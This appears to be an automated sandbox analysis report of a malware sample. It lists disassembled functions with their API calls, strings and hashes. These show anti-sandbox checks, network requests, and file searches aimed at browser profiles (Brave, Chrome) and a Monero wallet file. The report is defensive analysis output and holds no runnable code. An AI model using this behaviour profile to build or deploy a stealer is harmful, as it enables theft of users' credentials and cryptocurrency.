Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 251a43256525a76a83ade0a7ed5579de1053004da09aff8566e04bfd51e02650
Instruction ID: 8ae935bc0fb1b0f032f9f7ee1db267f602040aa79c1a3a04d83ce959377a5cee
Opcode Fuzzy Hash: 251a43256525a76a83ade0a7ed5579de1053004da09aff8566e04bfd51e02650
Instruction Fuzzy Hash: DEF058B0B4030AABE710BBA0DC8ABBE7FB4EB04701F104994B503E12D1CBB09540DAA6

Function 00AF47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00AF4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00AF4849

Strings

<, xrefs: 00AF47C9

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 9703834ec422a689c793657f3045d5ec8008a8d2d5233309c6704bf0f719d273
Instruction ID: 96ec91a0fe9b33175ecd0b9520514114996e6698233f4d6e7a701c554c8bd4a0
Opcode Fuzzy Hash: 9703834ec422a689c793657f3045d5ec8008a8d2d5233309c6704bf0f719d273
Instruction Fuzzy Hash: 75210EB1D00309ABDF14DFA4E845ADE7B75FB45320F108625F955A72D0EB706A09CB91

Function 00B051F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

Part of subcall function 00AF6280: InternetOpenA.WININET(00B10DFE,00000001,00000000,00000000,00000000), ref: 00AF62E1
Part of subcall function 00AF6280: StrCmpCA.SHLWAPI(?,018AFBE0), ref: 00AF6303
Part of subcall function 00AF6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00AF6335
Part of subcall function 00AF6280: HttpOpenRequestA.WININET(00000000,GET,?,018AF500,00000000,00000000,00400100,00000000), ref: 00AF6385
Part of subcall function 00AF6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00AF63BF
Part of subcall function 00AF6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00AF63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00B05228

Strings

ERROR, xrefs: 00B0521A
ERROR, xrefs: 00B05273

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 8f288015c64e725de747b272d93d2bca49dd4ea640bbbc4595c9c64770d802fe
Instruction ID: 03438a91d254b40a582b233435ce09a3e6850e3a4a7682c1a71cd393d2af30b6
Opcode Fuzzy Hash: 8f288015c64e725de747b272d93d2bca49dd4ea640bbbc4595c9c64770d802fe
Instruction Fuzzy Hash: F8110330910248ABDB14FF74DD56EED7BB8AF50300F908998F91A575D2EF31AB05CA91

Function 00AF1220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00AF123E
ExitProcess.KERNEL32 ref: 00AF1294

Strings

@, xrefs: 00AF1233

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 803317263-2766056989
Opcode ID: 722961d400d5233504500dc7034c4ce35fd8cc10673be638151da5dcc8fec180
Instruction ID: 203872af2ede5cab03bdc93c3ba59be0c2bedc47ef5470dbbbea4689b019a2c1
Opcode Fuzzy Hash: 722961d400d5233504500dc7034c4ce35fd8cc10673be638151da5dcc8fec180
Instruction Fuzzy Hash: CF011DB0E4430CFAEB10EBE4CC49BEEBBB8AB14705F608459F705B62C0D77496458B99

Function 00AF1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00AF112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00AF1132
ExitProcess.KERNEL32 ref: 00AF1143

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: d61f089f688fb0583675f90f6c0ac44a30df6fcdae6439abbe22d6c96171b31a
Instruction ID: 86b4597d8301a2fe8b15edf1cfeff6f538df724633fe839ff7ff7d2a86b9449e
Opcode Fuzzy Hash: d61f089f688fb0583675f90f6c0ac44a30df6fcdae6439abbe22d6c96171b31a
Instruction Fuzzy Hash: D5E0E670B4534CFBE7506BE4DD0EB197678AB04B01F104154F709B62D0D6B5264096A9

Function 00AF10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00AF10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00AF10F7

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: b247cc385a86bab197734e1601092e7bb8b734290cfd99778c34111a7a8d7630
Instruction ID: bc7fb3ef8fa0b0994f9ce0c60d95eaa45da8a9a190bc67879f42aa934b425b16
Opcode Fuzzy Hash: b247cc385a86bab197734e1601092e7bb8b734290cfd99778c34111a7a8d7630
Instruction Fuzzy Hash: B2F0E2B1641308BBE7149BA8AC49FBAB7E8E705B15F301848F684E3280D9719F00CAA0

Function 00AF1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00B078E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B07910
Part of subcall function 00B078E0: RtlAllocateHeap.NTDLL(00000000), ref: 00B07917
Part of subcall function 00B078E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00B0792F

Part of subcall function 00B07850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00AF11B7), ref: 00B07880
Part of subcall function 00B07850: RtlAllocateHeap.NTDLL(00000000), ref: 00B07887
Part of subcall function 00B07850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00B0789F

ExitProcess.KERNEL32 ref: 00AF11C6

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 8c69ddfc0c2343d2a58f3be06c24c01b0f9eaf4d55045786d82670e54d1484a8
Instruction ID: e4047bb1a297f6f61617ed7a22d0b2340c0ea4359f099d003f05e40b2fec63d4
Opcode Fuzzy Hash: 8c69ddfc0c2343d2a58f3be06c24c01b0f9eaf4d55045786d82670e54d1484a8
Instruction Fuzzy Hash: BBE012B6F5430553CA0073F5AC0BB2A3BDC6B14345F040568FA85D2682FE25F901857A

Non-executed Functions

Function 00B038B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00B038CC
FindFirstFileA.KERNEL32(?,?), ref: 00B038E3
lstrcat.KERNEL32(?,?), ref: 00B03935
StrCmpCA.SHLWAPI(?,00B10F70), ref: 00B03947
StrCmpCA.SHLWAPI(?,00B10F74), ref: 00B0395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00B03C67
FindClose.KERNEL32(000000FF), ref: 00B03C7C

Strings

%s\*, xrefs: 00B038C0
%s\%s\%s, xrefs: 00B03A4A
%s\%s, xrefs: 00B0397A
%s\%s, xrefs: 00B03A6F
%s%s, xrefs: 00B03AAD

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 1bfc73cb6f7f54ebe84b94a54d0deea14f5a5233bd9381e136cf5e093c2803cf
Instruction ID: 24e247416a98420456b30b7c6955462454c08e24b8f8ba38a2ea8be874e231f1
Opcode Fuzzy Hash: 1bfc73cb6f7f54ebe84b94a54d0deea14f5a5233bd9381e136cf5e093c2803cf
Instruction Fuzzy Hash: BDA131B1A003089BDB24DBA4DC89FEE77BCFB44700F4445C8A64D96191EB759B84CF62

Function 00AFBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,018A89C8,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

FindFirstFileA.KERNEL32(00000000,?,00B10B32,00B10B2B,00000000,?,?,?,00B113F4,00B10B2A), ref: 00AFBEF5
StrCmpCA.SHLWAPI(?,00B113F8), ref: 00AFBF4D
StrCmpCA.SHLWAPI(?,00B113FC), ref: 00AFBF63
FindNextFileA.KERNEL32(000000FF,?), ref: 00AFC7BF
FindClose.KERNEL32(000000FF), ref: 00AFC7D1

Strings

Brave, xrefs: 00AFC102
Google Chrome, xrefs: 00AFC634
Preferences, xrefs: 00AFC11E
\Brave\Preferences, xrefs: 00AFC1DB

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 034be22757414b777f589dd62b83d725340431348361fd4910fa01ac0db8846a
Instruction ID: 88441639602963e6ce62cb29b8d7d5414fcea4f3633af2ef49747c988175cd70
Opcode Fuzzy Hash: 034be22757414b777f589dd62b83d725340431348361fd4910fa01ac0db8846a
Instruction Fuzzy Hash: CD424571A1030897DB14FBA4DD96EED77BCAB94300F4089D8B506A61D1EF349F49CBA2

Function 00B04910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00B0492C
FindFirstFileA.KERNEL32(?,?), ref: 00B04943
StrCmpCA.SHLWAPI(?,00B10FDC), ref: 00B04971
StrCmpCA.SHLWAPI(?,00B10FE0), ref: 00B04987
FindNextFileA.KERNEL32(000000FF,?), ref: 00B04B7D
FindClose.KERNEL32(000000FF), ref: 00B04B92

Strings

%s\*, xrefs: 00B04920
%s\%s, xrefs: 00B049A4
%s\%s, xrefs: 00B049FB

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 843da0753268fd6ca777a8ac001ee6e7d3d8c2c9ebe95c8e629ef2f60f2ff261
Instruction ID: 50c6bbd3cac8101d06053f2c48e8c3816d6c4c3e8b54b609e6f8fe406fd824fd
Opcode Fuzzy Hash: 843da0753268fd6ca777a8ac001ee6e7d3d8c2c9ebe95c8e629ef2f60f2ff261
Instruction Fuzzy Hash: DB6167B2510218ABCB20EBA4DC85FEA77BCFB48700F4045D8B649D6190EB71DB85CFA1

Function 00B04570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00B04580
RtlAllocateHeap.NTDLL(00000000), ref: 00B04587
wsprintfA.USER32 ref: 00B045A6
FindFirstFileA.KERNEL32(?,?), ref: 00B045BD
StrCmpCA.SHLWAPI(?,00B10FC4), ref: 00B045EB
StrCmpCA.SHLWAPI(?,00B10FC8), ref: 00B04601
FindNextFileA.KERNEL32(000000FF,?), ref: 00B0468B
FindClose.KERNEL32(000000FF), ref: 00B046A0
lstrcat.KERNEL32(?,018AFC80), ref: 00B046C5
lstrcat.KERNEL32(?,018AE6E8), ref: 00B046D8
lstrlen.KERNEL32(?), ref: 00B046E5
lstrlen.KERNEL32(?), ref: 00B046F6

Strings

%s\%s, xrefs: 00B0461B
%s\*, xrefs: 00B0459A

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
